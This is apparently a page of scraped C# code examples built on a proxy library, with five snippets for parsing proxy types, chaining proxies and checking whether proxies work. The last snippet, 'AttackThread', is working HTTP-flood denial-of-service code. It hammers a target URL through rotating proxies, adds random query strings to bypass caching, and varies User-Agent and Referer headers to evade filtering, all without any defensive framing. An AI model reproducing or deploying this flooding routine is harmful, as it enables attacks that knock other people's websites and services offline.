示例#1
0
        /// <summary>
        /// Gets the standard ProxyClient related to the specific proxy type.
        /// </summary>
        /// <returns>The standard ProxyClient (not chained)</returns>
        private ProxyClient GetStandardClient()
        {
            ProxyClient pc;

            switch (Type)
            {
            case ProxyType.Http:
                pc = HttpProxyClient.Parse(Proxy);
                break;

            case ProxyType.Socks4:
                pc = Socks4ProxyClient.Parse(Proxy);
                break;

            case ProxyType.Socks4a:
                pc = Socks4aProxyClient.Parse(Proxy);
                break;

            case ProxyType.Socks5:
                pc = Socks5ProxyClient.Parse(Proxy);
                break;

            default:
                return(null);
            }

            pc.Username = Username;
            pc.Password = Password;

            return(pc);
        }
示例#2
0
        private void CheckProxy(string proxyString)
        {
            try
            {
                ProxyClient proxyClient;
                switch (_proxiesType)
                {
                case "http":
                    proxyClient = HttpProxyClient.Parse(proxyString);
                    break;

                case "socks4":
                    proxyClient = Socks4ProxyClient.Parse(proxyString);
                    break;

                case "socks4a":
                    proxyClient = Socks4aProxyClient.Parse(proxyString);
                    break;

                case "socks5":
                    proxyClient = Socks5ProxyClient.Parse(proxyString);
                    break;

                default:
                    proxyClient = HttpProxyClient.Parse(proxyString);
                    break;
                }
                proxyClient.ConnectTimeout = _connectionTimeout;
                var tcpClient = proxyClient.CreateConnection("google.com", 80);
                if (tcpClient.Connected)
                {
                    _goodProxies.Add(proxyString);
                    if (_debug)
                    {
                        Console.WriteLine("Good proxy: {0}", proxyString);
                    }
                }
                else
                {
                    if (_debug)
                    {
                        Console.WriteLine("Bad proxy: {0}", proxyString);
                    }
                }
            }
            catch (ProxyException pex)
            {
                if (_debug)
                {
                    Console.WriteLine(pex.Message);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
示例#3
0
        /// <summary>
        /// Gets the ProxyClient related to the specific proxy type.
        /// </summary>
        /// <returns>The ProxyClient to be used in a HttpRequest</returns>
        public ProxyClient GetClient()
        {
            if (HasNext)
            {
                ChainProxyClient cpc = new ChainProxyClient();
                var current          = this;
                while (current != null)
                {
                    switch (current.Type)
                    {
                    case ProxyType.Http:
                        cpc.AddHttpProxy(current.Proxy);
                        break;

                    case ProxyType.Socks4:
                        cpc.AddSocks4Proxy(current.Proxy);
                        break;

                    case ProxyType.Socks4a:
                        cpc.AddSocks4aProxy(current.Proxy);
                        break;

                    case ProxyType.Socks5:
                        cpc.AddSocks5Proxy(current.Proxy);
                        break;
                    }
                    current = current.Next;
                }
                return(cpc);
            }
            else
            {
                switch (Type)
                {
                case ProxyType.Http:
                    return(HttpProxyClient.Parse(Proxy));

                case ProxyType.Socks4:
                    return(Socks4ProxyClient.Parse(Proxy));

                case ProxyType.Socks4a:
                    return(Socks4aProxyClient.Parse(Proxy));

                case ProxyType.Socks5:
                    return(Socks5ProxyClient.Parse(Proxy));

                default:
                    return(null);
                }
            }
        }
示例#4
0
            public async Task <string[, ]> ProxyCheck(string proxy, string url, bool autoredirect, bool reconnect = false, int timeout = 0, int ptype = 0)
            {
                return(await Task.Run(() =>
                {
                    string[,] data = new string[1, 2];
                    try
                    {
                        using (HttpRequest req = new HttpRequest(url))
                        {
                            req.UserAgent = HttpHelper.ChromeUserAgent();
                            req.Cookies = new CookieCore(false);
                            req.AllowAutoRedirect = autoredirect;
                            req.Reconnect = reconnect;
                            req.SslCertificateValidatorCallback = HttpHelper.AcceptAllCertificationsCallback;
                            req.ConnectTimeout = timeout;

                            #region proxyset
                            switch (ptype)
                            {
                            case 0:
                                req.Proxy = HttpProxyClient.Parse(proxy);
                                break;

                            case 1:
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                                break;

                            case 2:
                                req.Proxy = Socks4aProxyClient.Parse(proxy);
                                break;

                            case 3:
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                                break;

                            default:
                                break;
                            }
                            #endregion
                            var res = req.Get("/");
                            data[0, 0] = proxy;
                            data[0, 1] = res.ConnectionTime.ToString();
                            return data;
                        }
                    }
                    catch
                    {
                        return null;
                    }
                }));
            }
示例#5
0
        private void AttackThread()
        {
            string attackTarget = null;
            string proxy        = null;

            while (_mt.Canceling != true)
            {
                if (_proxies.Count > 0)
                {
                    try
                    {
                        proxy = _proxies[Rand.Next(0, (_proxies.Count) - 1)];

                        if (proxy != null)
                        {
                            using (var request = new HttpRequest())
                            {
                                switch (_proxiesType)
                                {
                                case "http":
                                    request.Proxy = HttpProxyClient.Parse(proxy);
                                    break;

                                case "socks4":
                                    request.Proxy = Socks4ProxyClient.Parse(proxy);
                                    break;

                                case "socks4a":
                                    request.Proxy = Socks4aProxyClient.Parse(proxy);
                                    break;

                                case "socks5":
                                    request.Proxy = Socks5ProxyClient.Parse(proxy);
                                    break;

                                default:
                                    request.Proxy = HttpProxyClient.Parse(proxy);
                                    break;
                                }

                                if (_randomString)
                                {
                                    //attack_target = target + "/" + GetRandomString(Rand.Next(0, 16));
                                    attackTarget = _target + "?" + GetRandomString(Rand.Next(3, 10)) + "=" +
                                                   GetRandomString(Rand.Next(3, 10));
                                }

                                request.Proxy.ConnectTimeout = _proxiesWaitDelay;
                                request.AddHeader("User-Agent", _useragentList[Rand.Next(0, _useragentList.Count - 1)]);
                                request.AddHeader("Cache-Control", "no-cache");
                                request.AddHeader("Accept-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.7");
                                request.AddHeader("Referer",
                                                  _refererList[Rand.Next(0, _refererList.Count - 1)] +
                                                  GetRandomString(Rand.Next(5, 10)).ToUpper());
                                request.AddHeader("Keep-Alive", Rand.Next(110, 120).ToString());
                                request.KeepAlive = true;

                                Console.WriteLine("{0} - [{1}]", proxy, (int)request.Get(attackTarget).StatusCode);
                            }
                        }
                        Thread.Sleep(_delay);
                    }
                    catch (ProxyException pex)
                    {
                        Console.WriteLine(pex.StackTrace);
                        Console.WriteLine(pex.Message);
                        if (_deleteBad && proxy != null)
                        {
                            _proxies.Remove(proxy);
                            Console.ForegroundColor = ConsoleColor.Yellow;
                            Console.WriteLine("Deleted proxy {0}", proxy);
                            Console.WriteLine("Proxies left: {0}", _proxies.Count);
                            Console.ResetColor();
                        }
                        return;
                    }
                    catch (HttpException hex)
                    {
                        switch ((int)hex.HttpStatusCode)
                        {
                        case 500:
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("{0} - [{1}]", proxy, (int)hex.HttpStatusCode);
                            Console.ResetColor();
                            break;

                        case 0:
                            if (_deleteBad && proxy != null)
                            {
                                _proxies.Remove(proxy);
                                Console.ForegroundColor = ConsoleColor.Yellow;
                                Console.WriteLine("Deleted proxy {0}", proxy);
                                Console.WriteLine("Proxies left: {0}", _proxies.Count);
                                Console.ResetColor();
                            }
                            return;

                        default:
                            Console.WriteLine("{0} - [{1}]", proxy, (int)hex.HttpStatusCode);
                            break;
                        }
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.Message);
                    }
                }
                else
                {
                    Console.WriteLine("No proxies found! Attack impossible!");
                }
            }
        }